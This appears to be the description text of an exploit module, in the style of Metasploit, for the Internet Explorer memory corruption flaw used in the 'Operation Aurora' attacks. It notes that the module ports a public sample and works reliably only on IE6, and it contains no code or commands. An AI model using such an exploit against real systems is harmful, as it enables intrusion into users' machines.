				This module exploits a memory corruption flaw in Internet Explorer. This
			flaw was found in the wild and was a key component of the "Operation Aurora"
			attacks that lead to the compromise of a number of high profile companies. The
			exploit code is a direct port of the public sample published to the Wepawet
			malware analysis site. The technique used by this module is currently identical
			to the public sample, as such, only Internet Explorer 6 can be reliably exploited.
